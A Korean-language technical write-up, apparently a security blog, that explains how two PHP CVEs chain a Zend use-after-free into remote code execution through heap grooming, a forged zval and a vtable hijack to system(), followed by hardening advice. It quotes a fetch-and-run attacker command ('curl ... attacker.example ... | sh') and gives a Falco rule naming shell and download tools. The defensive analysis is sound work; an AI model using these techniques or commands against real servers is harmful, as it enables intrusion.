댕글링 포인터에서 system()까지: ZMM 힙 그루밍, Fake zval 위조와 RCE 체인
댕글링 포인터에서 system()까지: ZMM 힙 그루밍, Fake zval 위조와 RCE 체인
<time datetime="2026-10-23">검증일: 2026년 10월 23일</time>
Use-After-Free(UAF)를 결정론적 원격 코드 실행(RCE)으로 승격하는 것은 Zend Engine 내부를 정밀하게 다루는 저수준 공학입니다. 애플리케이션 로직은 완전히 우회되며, 공격 대상은 Zend Memory Manager(ZMM) 의 할당자 레이아웃과 16바이트 zval 구조체입니다. 이 문서는 CVE-2026-109619와 CVE-2026-109618이 어떻게 하나의 익스플로잇 체인으로 결합되는지 아키텍처 관점에서 설명합니다. 방어 목적의 분석이며 실제 공격 코드는 포함하지 않습니다.
1. 16바이트 zval 메모리 정렬과 구조
PHP 7/8의 모든 변수는 struct _zval_struct로 표현됩니다. 64비트 환경에서 크기는 정확히 16바이트이며, 8바이트 정렬을 따릅니다.
0x00 0x08 0x09 0x0A 0x0C 0x10
┌──────────────────┬──────────────┬─────────┬─────────┬──────────────┐
│ zend_value │ u1.type │ flags │ gc_info │ u2.extra │
│ (8바이트 포인터) │ (1바이트) │ (1바이트)│ (2바이트)│ (4바이트) │
└────────┬─────────┴──────┬───────┴─────────┴─────────┴──────────────┘
│ │
│ └─► 0x08: IS_OBJECT 등 타입 필드 위조
▼
┌──────────────────────────────────────┐
│ 힙 상의 Fake zend_object 구조체 │
│ ┌──────────────────────────────────┐ │
│ │ handlers (Fake vtable 포인터) │ │
│ └──────────────┬───────────────────┘ │
└────────────────┼─────────────────────┘
▼
┌──────────────────────────────────────┐
│ Fake 함수 vtable (handlers) │
│ ┌──────────────────────────────────┐ │
│ │ free_obj / read_property / call │ │
│ │ → libc system() 주소 │ │
│ └──────────────────────────────────┘ │
└──────────────────────────────────────┘
struct _zval_struct {
zend_value value; /* 8바이트: zend_string*, zend_object* 등 */
union {
struct {
uint8_t type; /* IS_NULL, IS_LONG, IS_OBJECT ... */
uint8_t type_flags;
uint8_t u1_low;
uint8_t u1_high;
} v;
uint32_t type_info;
} u1;
union {
uint32_t next; /* 해시 충돌 체인 등 */
uint32_t extra;
} u2;
};
공격자가 노리는 것은 value 포인터와 u1.type 두 필드입니다. value를 자신이 스프레이한 가짜 zend_object 주소로, u1.type을 IS_OBJECT로 설정하면, Zend VM은 이후 객체 핸들러를 통해 함수 포인터를 역참조합니다.
2. 1단계: 힙 그루밍과 스프레이
UAF 쓰기만으로는 신뢰할 수 있는 익스플로잇이 되지 않습니다. 해제된 슬롯을 공격자 데이터로 즉시 재점유해야 합니다. ZMM은 크기 클래스별 Bin을 사용하며, 해제된 청크는 LIFO로 재사용됩니다.
- 단편화 배출(Fragmentation Drainage): 정확한 크기의 HTTP 헤더/본문 패딩을 반복 전송하여 Bin에 존재하는 기존 구멍을 소진합니다.
- 플러딩(Heap Spraying): 동일한 구조의 멀티파트 요청을 동시에 다수 전송하여 새 청크를 대량 할당합니다.
- Bin 재사용: 직후 해제된 슬롯이 공격자의 문자열 또는 세션 값에 그대로 반환됩니다.
PHP-FPM의 경우 워커가 fork()로 생성되므로, 부모 프로세스의 힙 레이아웃이 자식에게 상속됩니다. 공격자는 이 결정성을 이용해 Bin 상태를 예측합니다.
# 방어 관점: 워커당 동시 연결과 요청 빈도 제한
grep -E '^(pm\.|listen\.backlog)' /etc/php/8.3/fpm/pool.d/www.conf
pm = dynamic
pm.max_children = 24
pm.start_servers = 4
pm.min_spare_servers = 2
pm.max_spare_servers = 8
pm.max_requests = 500
request_terminate_timeout = 30s
pm.max_requests를 낮추면 워커 재활용 주기가 짧아져 장기 힙 그루밍이 어려워집니다. 무중단 배포 환경에서는 워커 재시작이 세션 저장소와 opcache에 미치는 영향을 함께 고려해야 합니다.
3. 2단계: Fake zval 위조
해제된 16바이트 슬롯에 다음 필드를 배치합니다.
오프셋 크기 필드 공격자 설정값
0x00 8 value.ptr → Fake zend_object 주소
0x08 1 u1.type → IS_OBJECT (0x08)
0x09 1 u1.type_flags → 0x00
0x0A 2 u1.extra → 0x0000
0x0C 4 u2.next/extra → 0x00000000
Zend VM이 이 값을 객체로 취급하면 zend_object->handlers를 역참조합니다. 핸들러 테이블은 free_obj, read_property, call, get_gc 등 함수 포인터 배열입니다. 공격자는 이 테이블 자체를 위조하거나, 기존 테이블 엔트리를 system() 주소로 바꿉니다.
4. 3단계: ASLR 우회와 제어 흐름 탈취
현대 리눅스는 PIE와 ASLR을 기본 적용합니다. system()의 고정 주소를 하드코딩하면 즉시 SIGSEGV가 발생합니다. 공격 체인은 두 가지 접근을 병행합니다.
4.1 정보 유출 (Info Leak)
Fake IS_STRING zval을 만들어 내부 val 포인터가 Zend 함수 테이블을 가리키게 한 뒤, 해당 변수를 읽어 base 포인터를 노출시킵니다. PHP 오류 메시지, var_dump, 직렬화 응답 등이 유출 채널이 될 수 있습니다. 이 취약점군에서는 오류 처리 경로의 미세한 차이가 주소 노출로 이어집니다.
4.2 동적 해석
libc_base = leaked_ptr - known_offset
system_addr = libc_base + system_offset
오프셋은 배포판·libc 버전마다 다르므로, 공격자는 Ubuntu 22.04/24.04, Debian 12, RHEL 9 등 주요 조합의 오프셋 테이블을 미리 준비합니다. 컨테이너 이미지의 libc 버전이 공개되어 있으면 이 단계가 더 쉬워집니다.
4.3 system() 호출
Zend VM이 객체 정리 루틴을 실행할 때:
obj->handlers->free_obj(obj);
x86_64에서 첫 인자는 RDI로 전달됩니다. obj 포인터가 가리키는 메모리에 공격자 명령 문자열(예: curl -s http://attacker.example/p | sh)이 있으면, system()은 이를 셸 명령으로 해석합니다. 이 시점은 사용자 PHP 코드 실행 여부와 무관하며, 웹 서버 권한으로 프로세스가 생성됩니다.
5. 체인을 끊는 방어 설계
5.1 엔진 레벨
session.upload_progress.enabled = Off
5.2 런타임 레벨
# system()/execve 계열 호출을 관측하는 Falco 규칙 (개념)
- rule: PHP FPM Spawns Shell
desc: php-fpm 워커가 셸 또는 다운로더를 실행
condition: >
spawned_process and
proc.pname in (php-fpm, php-fpm8.3, php-fpm8.2) and
proc.name in (sh, bash, dash, curl, wget, nc, ncat)
output: >
"PHP-FPM child spawned %proc.name (parent=%proc.pname pid=%proc.pid)"
priority: CRITICAL
5.3 커널 레벨
# seccomp 프로파일에서 execve 차단 (Docker 예시)
docker run --security-opt seccomp=/etc/docker/seccomp-php.json ...
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{ "names": ["execve", "execveat"], "action": "SCMP_ACT_ERRNO" }
]
}
PHP-FPM이 정상적으로 외부 프로세스를 실행하지 않는 워크로드라면, execve 차단은 RCE 체인의 마지막 단계를 수학적으로 불가능하게 만듭니다. 다만 이미지 처리(ImageMagick), PDF 생성, 메일 전송 등 exec에 의존하는 기능은 사전에 식별해야 합니다.
5.4 배포판 패치 상태 확인
# Debian/Ubuntu
dpkg -l | grep -E '^ii\s+php'
apt-cache policy php8.3-fpm
# RHEL 계열
rpm -qa | grep -i '^php'
dnf info php-fpm
# 공식 최소 버전: 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35
6. 결론
이 체인의 위험성은 취약점 자체가 메모리 관리자의 신뢰 경계를 무너뜨린다는 데 있습니다. 힙 그루밍 → Fake zval → vtable 탈취 → system()이라는 고전적 단계가 PHP의 기본 기능(session.upload_progress)만으로 성립합니다. 방어 우선순위는 다음과 같습니다.
- 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 이상으로 업그레이드
- 불가능하면
session.upload_progress.enabled=Off즉시 적용 - Falco/Seccomp로
execve및 셸 생성 차단 - 워커 재시작 주기 단축과 힙 레이아웃 예측성 완화
본 분석은 방어 연구 목적이며, 실제 공격 재현 코드는 의도적으로 생략했습니다.